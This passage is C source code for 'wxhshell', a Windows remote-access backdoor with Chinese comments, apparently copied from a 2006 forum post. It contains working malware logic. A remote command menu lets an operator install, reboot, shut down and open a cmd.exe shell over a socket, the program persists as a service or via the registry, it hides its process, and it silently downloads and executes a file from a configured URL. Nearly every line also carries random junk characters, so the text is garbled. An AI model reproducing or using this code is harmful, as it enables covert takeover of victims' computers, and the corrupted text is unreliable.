  } ^2rN>k,?  
  else { J&_n9$  
Le^ n +5x  
    switch(cmd[0]) { ;xTpE2 -~  
  SXh-A1t  
  // 帮助 wCBplaojJ  
  case '?': { PKz':_|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p_4<6{KEt  
    break; m&3xJuKih  
  } ~} ~4  
  // 安装 Vurq t_nb  
  case 'i': { !ohN!P7&  
    if(Install()) Kg]J/|0\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tH4B:Bgj!  
    else #'`{Qv0,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KI.hy2?e  
    break; n$R)>n Y  
    } }@)[5N# A|  
  // 卸载 [-w%/D%@  
  case 'r': { y~V(aih}D  
    if(Uninstall()) .xkM.g4{~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i|kRK7[6B  
    else ?Bmb' 3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !4!~L k=  
    break;  bN.Pex  
    } -{vD: Il=6  
  // 显示 wxhshell 所在路径 kJR`:J3DJ  
  case 'p': { L~3Pm%{@A  
    char svExeFile[MAX_PATH]; lB4WKn=?Kl  
    strcpy(svExeFile,"\n\r"); 6S #Cl>v  
      strcat(svExeFile,ExeFile); 7yQ4*UB  
        send(wsh,svExeFile,strlen(svExeFile),0); Lw,h+@0  
    break; "dlV k~  
    } /-s6<e!  
  // 重启 |s_GlJV.  
  case 'b': { EqiY\/S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #dHa,HUk  
    if(Boot(REBOOT)) xIn:ZKJ'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :4|4=mkr  
    else { !)$Zp\Sg  
    closesocket(wsh); ~TtiO#,t  
    ExitThread(0); `]aeI'[}R  
    } J}t%p(mb  
    break; :(%5:1W  
    } 6eCCmIdaM  
  // 关机 <UCl@5g&  
  case 'd': { ?JUeuNs9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W g! Lfu  
    if(Boot(SHUTDOWN)) jEwIn1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cwL_tq  
    else { 2mU.7!g)  
    closesocket(wsh); 7>RY/O;Z,  
    ExitThread(0); rN>R|].  
    } *zLMpL_  
    break; AQ Ojit6p  
    } qQa}wcU'9p  
  // 获取shell :6dxtl/{b:  
  case 's': { y{Q {'De  
    CmdShell(wsh); I1J-)R+  
    closesocket(wsh); AZ<= o  
    ExitThread(0); PvL[e"p  
    break; H?w6C):]  
  } Y/oHu@ _  
  // 退出 +C)~bb*  
  case 'x': { i#O SC5ZI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UxBpdm%dvP  
    CloseIt(wsh); 'ga/  
    break; VU#7%ufu&  
    } jiGTA:v  
  // 离开 (<lhn  
  case 'q': { #&4=VGx{ #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TA\vZGJ('  
    closesocket(wsh); k:%%/  
    WSACleanup(); q\%I#1  
    exit(1); A%vbhD2;W  
    break; {`_i`  
        } + T+#q@  
  } \.S/|  
  } $;PMkUE  
F"kAkX>3}  
  // 提示信息 zm#  ?W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iow"n$/  
} 4Tc~b3\!Y  
  } /kG_*>.Z  
/_.|E]  
  return; IGgL7^MF  
} )5H?Vh>36  
Fzcwy V   
// shell模块句柄 }0 ?3:A  
int CmdShell(SOCKET sock) iDD$pd,e\  
{ x~sBzTa  
STARTUPINFO si; CGFDqCNr-  
ZeroMemory(&si,sizeof(si)); `@%LzeGz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ` %}RNC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -RLOD\ZBh  
PROCESS_INFORMATION ProcessInfo; ;@J}}h'y  
char cmdline[]="cmd"; (At$3b6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @+DX.9  
  return 0; DfB7*+x{  
} #Q5o)x  
tBSW|0  
// 自身启动模式 R!1p^~/  
int StartFromService(void) {)Xy%QV  
{ &j6erwaT  
typedef struct 62u4-}JzF  
{ ?4uL-z](V  
  DWORD ExitStatus; )gi9f1n`  
  DWORD PebBaseAddress; d5-qZ{W  
  DWORD AffinityMask; r<\u6jF  
  DWORD BasePriority; }2oc#0  
  ULONG UniqueProcessId; X{VOAcugr  
  ULONG InheritedFromUniqueProcessId; M\=2uKG#  
}   PROCESS_BASIC_INFORMATION; Zd&S@Z  
P {'b:C  
PROCNTQSIP NtQueryInformationProcess; 2zpr~cB=  
DwF hK*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @|!z9Y*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z:gyz$9w  
Va8&Z  
  HANDLE             hProcess; JS77M-Ac  
  PROCESS_BASIC_INFORMATION pbi; 6C)_  
xD$\,{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -qoH,4w  
  if(NULL == hInst ) return 0; 8Y?;x}  
X?Au/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'q.!|G2U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .^.z2 e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ce(#2o&`  
Ca\6vR  
  if (!NtQueryInformationProcess) return 0; N21smC}  
;}t(Wnu.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K^[?O{x^B  
  if(!hProcess) return 0; Ho%CDz z  
+[P{&\d4}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zc2PepIg  
M3AXe]<eC1  
  CloseHandle(hProcess); Ss`LLq0LO  
j.YA 2mr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +|rj4j)L&'  
if(hProcess==NULL) return 0; SAz   
=">NQ)98u  
HMODULE hMod; j!ch5A  
char procName[255]; nDW9NQ  
unsigned long cbNeeded; W>LR\]Ti@  
D,6:EV"sa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t&p|Ynz?i  
'PHl$f*k  
  CloseHandle(hProcess); +h$ 9\  
cnLro  
if(strstr(procName,"services")) return 1; // 以服务启动 4I7>f]=)  
#/]nxW.S  
  return 0; // 注册表启动 ;Xw~D_uv  
} d'2A,B~_*  
HTtnXBJ)*H  
// 主模块 saAF+H/=  
int StartWxhshell(LPSTR lpCmdLine) <uJ@:oWG7  
{ qWw=8Bq  
  SOCKET wsl; o(HbGHIP  
BOOL val=TRUE; yHGADH0B  
  int port=0; pXUSLs  
  struct sockaddr_in door; (#'>(t(4  
@@%ataUSBT  
  if(wscfg.ws_autoins) Install(); q*KAk{kR(v  
16 $B>  
port=atoi(lpCmdLine); =QsYXK7Mn4  
o}!PQ#`M  
if(port<=0) port=wscfg.ws_port; a9G8q>h]O  
4m)n+ll  
  WSADATA data; [gB+C84%%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [!z,lY>  
{8aTV}Ha2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B1STGL`nK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ix$bRdl  
  door.sin_family = AF_INET; _j3fAr(V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |{8Pb3#U  
  door.sin_port = htons(port); 626r^c=  
rGO8!X 3d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |^aKs#va  
closesocket(wsl); ]{iQ21`a-  
return 1; #*}+J3/  
} v:U-6W_)|  
4Up/p&1@  
  if(listen(wsl,2) == INVALID_SOCKET) { MJvp6n  
closesocket(wsl); Vc2`b3"Br  
return 1; m2o0y++TjW  
} ]tD]Wx%  
  Wxhshell(wsl); v1[29t<I!  
  WSACleanup(); =fbWz  
l\mPHA23  
return 0; OY d !v`<  
 `]X>V,  
} +0~YP*I`/  
d5.4l&\u  
// 以NT服务方式启动 2|L&DF:G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PdCEUh\>y  
{ 9my^ Y9B  
DWORD   status = 0; yw!{MO  
  DWORD   specificError = 0xfffffff; ] @'!lhLi  
xU vs:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 99S ^f:t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dscgj5b1~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,^:.dFH6  
  serviceStatus.dwWin32ExitCode     = 0; [~^0gAlQC  
  serviceStatus.dwServiceSpecificExitCode = 0; <!+Az,-  
  serviceStatus.dwCheckPoint       = 0; T |p"0b A  
  serviceStatus.dwWaitHint       = 0; yZRzIb_  
N$DkX)Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J1vR5wbu  
  if (hServiceStatusHandle==0) return; ( =$ x.1  
g*Phv|kI  
status = GetLastError(); '7/)Ot(  
  if (status!=NO_ERROR) y^k$Us  
{ /,dz@   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8QK&_n*  
    serviceStatus.dwCheckPoint       = 0; Gq6*SaTk  
    serviceStatus.dwWaitHint       = 0; <UI [%yXj  
    serviceStatus.dwWin32ExitCode     = status; <[phnU^ 8  
    serviceStatus.dwServiceSpecificExitCode = specificError; sS Mh`4'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (ZGbh MK  
    return; %RVZD#zr  
  } y(&Ac[foS}  
6mE\OS-I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y2v^-q3  
  serviceStatus.dwCheckPoint       = 0; ZoeD:xnh[  
  serviceStatus.dwWaitHint       = 0; TV:9bn?r)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XuTD\g3)  
} N;d] 14|  
u y+pP!<  
// 处理NT服务事件,比如:启动、停止 /{[o ~:'p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mR~&)QBP.  
{ *#2h/Q.  
switch(fdwControl) j+!v}*I![  
{ Zc yc*{DS  
case SERVICE_CONTROL_STOP: ?5p>BER?  
  serviceStatus.dwWin32ExitCode = 0; i?/qY&~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q| 7(  
  serviceStatus.dwCheckPoint   = 0; BWNi [^]  
  serviceStatus.dwWaitHint     = 0; >eaaaq9B-  
  { so; ]&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  bLL2  
  } \^LFkp  
  return; <$YlH@;)`a  
case SERVICE_CONTROL_PAUSE: Lr+$_ t}r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D=$)n_F  
  break; #z(]xI)"  
case SERVICE_CONTROL_CONTINUE: 6LZCgdS{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +mPx8P&%  
  break; -/4P3SG/  
case SERVICE_CONTROL_INTERROGATE: Kq!3wb;  
  break; }b}m3i1  
}; yVfC-Z   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vX>)je5#  
} {I ((p_  
_GPe<H  
// 标准应用程序主函数 <%^&2UMg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *i,%,O96Nz  
{ xLE)/}y_7H  
vI?, 47Hj+  
// 获取操作系统版本 7^Uv7< pw  
OsIsNt=GetOsVer(); SJLis"8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); > !JS:5|  
3%6? g*  
  // 从命令行安装 2eogY#  
  if(strpbrk(lpCmdLine,"iI")) Install(); [Pp'Ye~K@c  
k+ /6$pI  
  // 下载执行文件 K}y f>'O  
if(wscfg.ws_downexe) { xo)P?-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [UR-I0 s!/  
  WinExec(wscfg.ws_filenam,SW_HIDE); @iiT<  
} /1 dT+>  
^ 9sjj  
if(!OsIsNt) { W)/#0*7  
// 如果时win9x,隐藏进程并且设置为注册表启动 5G#n"}T  
HideProc(); ^q&x7Kv%  
StartWxhshell(lpCmdLine); Y2TtY;  
} ,6/V" kqIP  
else u +hX  
  if(StartFromService()) ZcsZ$qt^  
  // 以服务方式启动 y5r4&~04  
  StartServiceCtrlDispatcher(DispatchTable); R_KH"`q  
else $qiya[&G4  
  // 普通方式启动 9sP0D  
  StartWxhshell(lpCmdLine); #tHK"20  
c L]1f  
return 0; ~u{uZ(~  
}
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只看该作者 1 发表于: 2006-10-10
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